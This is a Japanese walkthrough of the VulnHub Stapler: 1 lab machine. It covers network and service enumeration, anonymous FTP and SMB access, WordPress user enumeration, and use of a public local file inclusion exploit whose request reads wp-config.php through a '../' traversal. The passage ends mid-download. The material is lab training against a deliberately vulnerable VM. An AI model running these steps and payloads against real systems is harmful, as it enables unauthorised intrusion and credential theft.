【VulnHub】Stapler: 1 - Walkthrough -

「[Stapler: 1](https://www.vulnhub.com/entry/stapler-1,150/)」は、「[Stapler](https://www.vulnhub.com/series/stapler,83/)」によって開発され、[VulnHub](https://www.vulnhub.com/)にて公開されているシリーズの一つです。

# リリース情報
名称: [Stapler: 1](https://www.vulnhub.com/entry/stapler-1,150/)
リリース日: 2016年6月8日
シリーズ: [Stapler](https://www.vulnhub.com/series/stapler,83/)
作者: [g0tmi1k](https://www.vulnhub.com/author/g0tmi1k,21/)
Twitter： [@g0tmi1k](https://twitter.com/@g0tmi1k)

# Walkthrough
## 列挙
### 稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、`netdiscover`コマンドを使用します。

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts                    
                                                                                  
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                   
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                   
 172.16.208.205  00:0c:29:31:91:cc      1      60  VMware, Inc.                   
 172.16.208.254  00:50:56:f0:ad:14      1      60  VMware, Inc.
```
これで、標的のIPアドレスが`172.16.208.205`であることが特定できました。

### 実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。`nmap -Pn -sS -sV -p- 172.16.208.205`コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

```
root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.205
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-11 12:37 JST
Nmap scan report for 172.16.208.205
Host is up (0.00079s latency).
Not shown: 65523 filtered ports
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.27-0ubuntu0.16.04.1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.70%I=7%D=9/11%Time=5D786C73%P=i686-pc-linux-gnu%r(NULL,
SF:2350,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x152
SF:\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x04\
SF:xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\xa2\
SF:x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2\x0
SF:c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\xb2
SF:\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xaeu\x
SF:eeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\xd3\
SF:x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\xa0\
SF:xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\x87
SF:\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\xf4
SF:\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\xdc
SF:\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\xd5\
SF:x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\xaf\
SF:xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2:\x
SF:c3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk\x8
SF:a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc\xe
SF:7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xfd\x
SF:f6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc\x9
SF:a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0\xf
SF:1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r\xf
SF:8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaak\x
SF:d7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy\xd
SF:2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7f\x
SF:f9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb\[\
SF:x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\xcc
SF:\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\xa7\
SF:xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81\xf
SF:d\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x96\
SF:x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8f\x
SF:d0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf4\x
SF:ed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd\x8
SF:8\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\xbcL
SF:}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf0\.
SF:npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04\xf
SF:6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\xf3
SF:\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11\?\
SF:xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 00:0C:29:31:91:CC (VMware)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.15 seconds
root@kali:~# 
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
`http`サービスが`80/tcp`と`12380/tcp`の2つのポート番号で稼働している点は大きな特徴といえそうです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|21/tcp|ftp|vsftpd 2.0.8 or later|
|22/tcp|ssh|OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)|
|53/tcp|domain|dnsmasq 2.75|
|80/tcp|http|PHP cli server 5.5 or later|
|139/tcp|netbios-ssn|Samba smbd 3.X - 4.X (workgroup: WORKGROUP)|
|666/tcp|doom?| |
|3306/tcp|mysql|MySQL 5.7.12-0ubuntu1|
|12380/tcp|http|Apache httpd 2.4.18 ((Ubuntu))|

### FTPサービスのスキャン
まず、`FTP`サービス - `21/tcp`に対して匿名接続を試みてみます。

```
root@kali:~# ftp 172.16.208.205
Connected to 172.16.208.205.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220 
Name (172.16.208.205:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> 
```

`note`ファイルをダウンロードします。

```
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (27.0285 kB/s)
ftp> quit
221 Goodbye.
```

`note`ファイルの記述は次のとおりでした。

>Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

これまでに、次のユーザアカウントが存在していることが確認できました。

* Harry
* Elly
* John

### HTTPサービスのスキャン
Firefoxブラウザを使って`80/tcp`や`12380/tcp`にアクセスしてみます。
`80/tcp`では、`Not Found`表示でした。
<img width="757" alt="80tcp.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4ecead33-24f5-b7dd-edcb-68d1aa0f4792.png">

`12380/tcp`では、`Coming Soon`表示です。この結果から、実質的なコンテンツは`12380/tcp`側に用意されていると推定されます。
<img width="757" alt="12380tcp.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b10642c5-a189-ef65-cbfd-22576159ace0.png">

HTMLソースを確認してみましょう。
<img width="819" alt="HTML.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1a96b569-95be-e7e0-9ee7-b99483a994f9.png">

><!– A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! –>

コメントから、`Zoe`は人事部長であることが推定できます。

### ウェブサイトの診断
`12380/tcp`を中心に、ウェブサイトの診断を行います。`nikto`を使用してみます。

```
root@kali:~# nikto -h http://172.16.208.205:12380/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.205
+ Target Hostname:    172.16.208.205
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2019-09-11 12:59:08 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x15 0x5347c53a972d1 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '172.16.208.205' does not match certificate's names: Red.Initech
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD 
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 7690 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2019-09-11 13:00:56 (GMT9) (108 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~# 
```
3つのディレクトリ`/admin112233/` & `/blogblog/` & `/phpmyadmin/`と、`robots.txt`の存在が特定されました。
また、`The site uses SSL and the Strict-Transport-Security HTTP header is not defined.`メッセージから、このサイトはHTTPSでも運用されていることが判明しました。

* `robots.txt`ファイル
<img width="757" alt="robots.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/0ecaa31e-870a-c70e-bc0f-188740f21efa.png">
HTTP接続では、`Coming Soon`表示のままです。そこで、HTTPS接続を試みたところ、`robots.txt`の内容を確認することができました。

* `/admin112233/`ディレクトリ
<img width="757" alt="admin112233.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/94504c0b-9f35-7ba5-5b32-d5ed1cb50d30.png">

* `/phpmyadmin/`ディレクトリ
<img width="757" alt="phpmyadmin.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/cb8ba8cd-f74c-8167-72aa-7f2f3338f77b.png">

* `/blogblog/`ディレクトリ
<img width="818" alt="blogblog.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/d5f3ab8c-7973-4135-c2f2-d5bfad7ecca4.png">
<img width="818" alt="blogblog_tail.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/40032863-85ce-138e-67d8-1014718d1211.png">
`/blogblog/`ディレクトリのフッター情報から、標的はCMSとして`WordPress`を使用していることが推定できます。

### WordPressの診断
`WPScan`を使って`WordPress`が抱えている脆弱性について診断を行います。
`wpscan.rb -u https://172.16.208.205:12380/blogblog/ --disable-tls-checks -e at -e ap -e u`コマンド構文をを使用します。各オプションの狙いは、次の通りです。今回は、省略表記（--url ではなく、 -u）を使用しています。

- --url ｜ -u <標的のURL>
- --disable-tls-checks : SSL/TLS証明書の検証を無効にする
- --enumerate ｜ -e <オプション>: オプションの内容を列挙する
    - at: すべてのテーマを列挙する
    - ap: すべてのプラグインを列挙する
    - u: ID1～10までのユーザ名を列挙する

このサイトでは自己署名証明書を使用しています。このため発生するエラーを回避するため、`--disable-tls-checks`オプションを指定します。

```
root@kali:~# locate wpscan.rb
/usr/share/wpscan/wpscan.rb
root@kali:~# /usr/share/wpscan/wpscan.rb -u https://172.16.208.205:12380/blogblog/ --disable-tls-checks -e at -e ap -e u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: https://172.16.208.205:12380/blogblog/
[+] Started: Wed Sep 11 13:28:47 2019
```

診断結果からは、`bhost`テーマを使っていることが解ります。

```
[+] WordPress theme in use: bhost - v1.2.9

[+] Name: bhost - v1.2.9
 |  Last updated: 2018-01-10T00:00:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/readme.txt
[!] The version is out of date, the latest version is 1.4.0
 |  Style URL: https://172.16.208.205:12380/blogblog/wp-content/themes/bhost/style.css
 |  Theme Name: BHost
 |  Theme URI: Author: Masum Billah
 |  Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This the...
 |  Author: Masum Billah
 |  Author URI: http://getmasum.net/
```

このほか、`advanced-video-embed-embed-videos-or-playlists`、`akismet`、`shortcode-ui`、`two-factor`という4つのプラグインを使用していることが判明しています。

```
[+] Enumerating all plugins (may take a while and use a lot of system resources) ...

   Time: 00:05:40 <=======================> (82466 / 82466) 100.00% Time: 00:05:40

[+] We found 4 plugins:

[+] Name: advanced-video-embed-embed-videos-or-playlists - v1.0
 |  Latest version: 1.0 (up to date)
 |  Last updated: 2015-10-14T13:52:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

[+] Name: akismet
 |  Latest version: 4.1.2 
 |  Last updated: 2019-05-14T15:05:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/akismet/

[!] We could not determine the version installed. All of the past known vulnerabilities will be output to allow you to do your own manual investigation.

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
[i] Fixed in: 3.1.5

[+] Name: shortcode-ui - v0.6.2
 |  Last updated: 2019-01-16T22:56:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[!] The version is out of date, the latest version is 0.7.4
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/shortcode-ui/

[+] Name: two-factor
 |  Latest version: 0.4.7 
 |  Last updated: 2019-07-18T11:14:00.000Z
 |  Location: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/
 |  Readme: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/readme.txt
[!] Directory listing is enabled: https://172.16.208.205:12380/blogblog/wp-content/plugins/two-factor/
```

10件のユーザ名を列挙することに成功しました。これらのユーザは、FTPサービスのスキャンにて判明した名前と重複しています。

```
[+] Enumerating usernames ...
[+] We identified the following 10 users:
    +----+---------+-----------------+
    | ID | Login   | Name            |
    +----+---------+-----------------+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |
    +----+---------+-----------------+

[+] Finished: Wed Sep 11 13:35:53 2019
[+] Elapsed time: 00:07:06
[+] Requests made: 100772
[+] Memory used: 119.852 MB
root@kali:~# 
```

### SMBの診断
ポートスキャンの結果から得られた`139/tcp   open   netbios-ssn`に注目し、SMBの脆弱性を診断します。まず、`enum4linux`コマンドを実行します。

```
root@kali:~# enum4linux 172.16.208.205
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Sep 11 21:43:43 2019

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 172.16.208.205
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================== 
|    Enumerating Workgroup/Domain on 172.16.208.205    |
 ====================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================== 
|    Nbtstat Information for 172.16.208.205    |
 ============================================== 
Looking up status of 172.16.208.205
	RED             <00> -         H <ACTIVE>  Workstation Service
	RED             <03> -         H <ACTIVE>  Messenger Service
	RED             <20> -         H <ACTIVE>  File Server Service
	..__MSBROWSE__. <01> - <GROUP> H <ACTIVE>  Master Browser
	WORKGROUP       <00> - <GROUP> H <ACTIVE>  Domain/Workgroup Name
	WORKGROUP       <1d> -         H <ACTIVE>  Master Browser
	WORKGROUP       <1e> - <GROUP> H <ACTIVE>  Browser Service Elections
```

コンピュータ名は`RED`でした。

```
 =========================================== 
|    Share Enumeration on 172.16.208.205    |
 =========================================== 
WARNING: The "syslog" option is deprecated

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            RED

[+] Attempting to map shares on 172.16.208.205
//172.16.208.205/print$	Mapping: DENIED, Listing: N/A
//172.16.208.205/kathy	Mapping: OK, Listing: OK
//172.16.208.205/tmp	Mapping: OK, Listing: OK
//172.16.208.205/IPC$	[E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
```

`kathy`ディレクトリが共有されています。ユーザ一覧を取得することができました。

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\peter (Local User)
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)
```

`smbclient //172.16.208.205/kathy`コマンド構文を実行し、共有の状態を確認してみましょう。

```
root@kali:~# smbclient //172.16.208.205/kathy
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun  4 01:52:52 2016
  ..                                  D        0  Tue Jun  7 06:39:56 2016
  kathy_stuff                         D        0  Mon Jun  6 00:02:27 2016
  backup                              D        0  Mon Jun  6 00:04:14 2016

		19478204 blocks of size 1024. 15962844 blocks available
```

`kathy_stuff`と`backup`ディレクトリにアクセスすることができます。

```
smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Mon Jun  6 00:02:27 2016
  ..                                  D        0  Sat Jun  4 01:52:52 2016
  todo-list.txt                       N       64  Mon Jun  6 00:02:27 2016

		19478204 blocks of size 1024. 15962844 blocks available
smb: \kathy_stuff\> get todo-list.txt 
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (6.2 KiloBytes/sec) (average 6.2 KiloBytes/sec)
smb: \kathy_stuff\> cd ..
smb: \> cd backup\
smb: \backup\> ls
  .                                   D        0  Mon Jun  6 00:04:14 2016
  ..                                  D        0  Sat Jun  4 01:52:52 2016
  vsftpd.conf                         N     5961  Mon Jun  6 00:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Tue Apr 28 02:14:46 2015

		19478204 blocks of size 1024. 15962844 blocks available
smb: \backup\> get vsftpd.conf 
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (646.8 KiloBytes/sec) (average 309.7 KiloBytes/sec)
smb: \backup\> quit
```

`kathy_stuff`内には、`todo-list.txt`と名付けられたファイルが見つかりました。同様に`backup`内には、`vsftpd.conf`設定ファイルが見つかりました。
`todo-list.txt`の内容を確認してみましょう。

```
root@kali:~# cat todo-list.txt 
I'm making sure to backup anything important for Initech, Kathy
```

### TCP 666のスキャン
`nmap`コマンドの結果から、`666/tcp`がオープン状態であったことが特定されています。そこで、`telnet`コマンドを使ってバナー情報を取得してみましょう。
<img width="818" alt="banner.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/c5d4fc3b-577a-4c04-8d4b-176b43de6df8.png">
`PK`文字列から、ZIP圧縮されたファイルのようです。`nc`コマンドを使ってファイルを取得してみます。

```
root@kali:~# nc 172.16.208.205 666 > output
```

取得したファイルの詳細を`file`コマンド、`binwalk`コマンドで確認してみましょう。併せて、`unzip`コマンドでファイルの展開も試みてみました。

```
root@kali:~# file output
output: Zip archive data, at least v2.0 to extract
root@kali:~# binwalk output

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 11434, uncompressed size: 12821, name: message2.jpg
11586         0x2D42          End of Zip archive

root@kali:~# unzip output
Archive:  output
  inflating: message2.jpg            
root@kali:~# file message2.jpg 
message2.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, baseline, precision 8, 364x77, frames 3
root@kali:~# binwalk message2.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01

root@kali:~# 
```

どうやら、推測のとおり`message2.jpg`は画像ファイルのようです。
![message2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/657dba8e-7063-e82a-4260-9bbe110a47a7.jpeg)
得られた画像ファイルから次の展開を検討するのは難しそうです。

## アクセスの取得
これまで、列挙にて得られた情報から、複数のアプローチによるアクセスの取得が期待できます。

### WordPress アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されている`exploit`コードを検索してみましょう。
判明しているプラグイン`advanced-video-embed-embed-videos-or-playlists`にあたりをつけます。

```
root@kali:~# searchsploit advanced video
------------------------------------------ ----------------------------------------
 Exploit Title                            |  Path
                                          | (/usr/share/exploitdb/)
------------------------------------------ ----------------------------------------
WordPress Plugin Advanced Video 1.0 - Loc | exploits/php/webapps/39646.py
------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 
```
`39646.py`([EDB-ID: 39646](https://www.exploit-db.com/exploits/39646))がLocal File Inclusionのコードとして使えそうです。
`39646.py`コードをホームディレクトにコピーし、実行してみます。

```
root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/39646.py 39646.py
root@kali:~# python 39646.py 
Traceback (most recent call last):
  File "39646.py", line 41, in <module>
    objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
  File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python2.7/urllib2.py", line 429, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 447, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1228, in http_open
    return self.do_open(httplib.HTTPConnection, req)
  File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>
```

エラーを修正するために、次のコードを追加します。また、`url =`パラメータの値を標的に変更しておきましょう。

>import ssl
ssl._create_default_https_context = ssl._create_unverified_context

![mod_39646.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3f5078ac-c2d7-2ae8-9c51-cbdddc8f8b57.png)

`39646.py`コードを修正後、実行すると、`uploads`ディレクトリに`jpeg`ファイルが作成されます。
![exploit_39646.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b77aaa9e-22a2-960c-cf36-6baf1fb90414.png)

そのうちの一つ、`1823284410.jpeg`ファイルを`wget`コマンドで取得します。`file`コマンドにてファイル形式を確認すると、`PHP script, ASCII text`形式であることが確認できます。

```
root@kali:~# wget --no-check-certificate https://172.16.208.205:12380/blogblog/wp-content/uploads/1823284410.jpeg
--2019-09-12 10:45:23--  https://172.16.208.205:12380/blogblog/wp-content/uploads/1823284410.jpeg
Connecting to 172.16.208.205:12380... connected.
WARNING: The certificate of ‘172.16.208.205’ is not trusted.
